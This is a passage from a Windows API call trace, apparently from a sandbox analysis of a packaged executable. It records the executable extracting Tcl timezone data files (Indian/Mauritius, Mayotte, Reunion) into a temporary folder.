lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mauritius" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\mauritius"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.979] GetFileType (hFile=0x10c) returned 0x1 [0042.979] htonl (hostlong=0x8010000) returned 0x108 [0042.979] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.979] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x108, lpOverlapped=0x0) returned 1 [0042.979] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.979] CloseHandle (hObject=0x10c) returned 1 [0042.980] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.980] htonl (hostlong=0x30000000) returned 0x30 [0042.980] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.980] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.980] GetFileType (hFile=0x10c) returned 0x1 [0042.980] htonl (hostlong=0x85da5c00) returned 0x5cda85 [0042.980] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618a85, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.980] htonl (hostlong=0x88000000) returned 0x88 [0042.980] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0042.980] htonl (hostlong=0x88000000) returned 0x88 [0042.980] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.980] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.980] htonl (hostlong=0x92000000) returned 0x92 [0042.980] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x550600 [0042.980] htonl (hostlong=0x88000000) returned 0x88 [0042.980] htonl (hostlong=0x92000000) returned 0x92 [0042.980] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.980] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.980] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.980] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.980] CloseHandle (hObject=0x10c) returned 1 [0042.980] GetLastError () returned 0x0 [0042.980] SetLastError (dwErrCode=0x0) [0042.981] GetLastError () returned 0x0 [0042.981] SetLastError (dwErrCode=0x0) [0042.981] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.981] GetFileType (hFile=0x10c) returned 0x1 [0042.981] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.981] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.981] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.981] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.981] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.981] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.981] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.981] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.981] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.981] CloseHandle (hObject=0x10c) returned 1 [0042.981] GetLastError () returned 0x0 [0042.981] SetLastError (dwErrCode=0x0) [0042.981] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.982] GetFileType (hFile=0x10c) returned 0x1 [0042.982] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.982] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.982] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.982] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.982] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.982] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.982] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.982] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.982] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.982] CloseHandle (hObject=0x10c) returned 1 [0042.982] GetLastError () returned 0x0 [0042.982] SetLastError (dwErrCode=0x0) [0042.982] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.982] GetFileType (hFile=0x10c) returned 0x1 [0042.982] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.982] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.982] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.982] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.983] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.983] CloseHandle (hObject=0x10c) returned 1 [0042.983] GetLastError () returned 0x0 [0042.983] SetLastError (dwErrCode=0x0) [0042.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mayotte") returned 71 [0042.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mayotte" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\mayotte"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.983] GetLastError () returned 0x2 [0042.983] SetLastError (dwErrCode=0x2) [0042.983] GetLastError () returned 0x2 [0042.983] SetLastError (dwErrCode=0x2) [0042.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mayotte", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mayotte", lpFilePart=0x0) returned 0x46 [0042.983] GetLastError () returned 0x2 [0042.983] SetLastError (dwErrCode=0x2) [0042.983] GetLastError () returned 0x2 [0042.983] SetLastError (dwErrCode=0x2) [0042.983] GetLastError () returned 0x2 [0042.983] SetLastError (dwErrCode=0x2) [0042.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mayotte") returned 71 [0042.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mayotte" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\mayotte"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.984] GetFileType (hFile=0x10c) returned 0x1 [0042.984] htonl (hostlong=0x92000000) returned 0x92 [0042.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.984] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x92, lpOverlapped=0x0) returned 1 [0042.985] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.985] CloseHandle (hObject=0x10c) returned 1 [0042.985] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.985] htonl (hostlong=0x30000000) returned 0x30 [0042.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.985] GetFileType (hFile=0x10c) returned 0x1 [0042.985] htonl (hostlong=0xddb5c00) returned 0x5cdb0d [0042.985] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618b0d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.985] htonl (hostlong=0x8a000000) returned 0x8a [0042.985] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0042.985] htonl (hostlong=0x8a000000) returned 0x8a [0042.985] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.985] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.985] htonl (hostlong=0x92000000) returned 0x92 [0042.985] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x550600 [0042.985] htonl (hostlong=0x8a000000) returned 0x8a [0042.985] htonl (hostlong=0x92000000) returned 0x92 [0042.985] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.985] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.985] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.985] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.985] CloseHandle (hObject=0x10c) returned 1 [0042.986] GetLastError () returned 0x0 [0042.986] SetLastError (dwErrCode=0x0) [0042.986] GetLastError () returned 0x0 [0042.986] SetLastError (dwErrCode=0x0) [0042.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.986] GetFileType (hFile=0x10c) returned 0x1 [0042.986] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.986] CloseHandle (hObject=0x10c) returned 1 [0042.986] GetLastError () returned 0x0 [0042.986] SetLastError (dwErrCode=0x0) [0042.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.986] GetFileType (hFile=0x10c) returned 0x1 [0042.986] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.987] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.987] CloseHandle (hObject=0x10c) returned 1 [0042.987] GetLastError () returned 0x0 [0042.987] SetLastError (dwErrCode=0x0) [0042.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.987] GetFileType (hFile=0x10c) returned 0x1 [0042.987] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.987] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.987] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.987] CloseHandle (hObject=0x10c) returned 1 [0042.991] GetLastError () returned 0x0 [0042.991] SetLastError (dwErrCode=0x0) [0042.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Reunion") returned 71 [0042.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Reunion" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\reunion"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.991] GetLastError () returned 0x2 [0042.991] SetLastError (dwErrCode=0x2) [0042.991] GetLastError () returned 0x2 [0042.991] SetLastError (dwErrCode=0x2) [0042.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Reunion", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Reunion", lpFilePart=0x0) returned 0x46 [0042.991] GetLastError () returned 0x2 [0042.991] SetLastError (dwErrCode=0x2) [0042.991] GetLastError () returned 0x2 [0042.991] SetLastError (dwErrCode=0x2) [0042.991] GetLastError () returned 0x2 [0042.991] SetLastError (dwErrCode=0x2) [0042.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Reunion") returned 71 [0042.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Reunion" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\reunion"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.992] GetFileType (hFile=0x10c) returned 0x1 [0042.992] htonl (hostlong=0x92000000) returned 0x92 [0042.992] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.992] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x92, lpOverlapped=0x0) returned 1 [0042.992] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.993] CloseHandle (hObject=0x10c) returned 1 [0042.993] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.993] htonl (hostlong=0x30000000) returned 0x30 [0042.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: 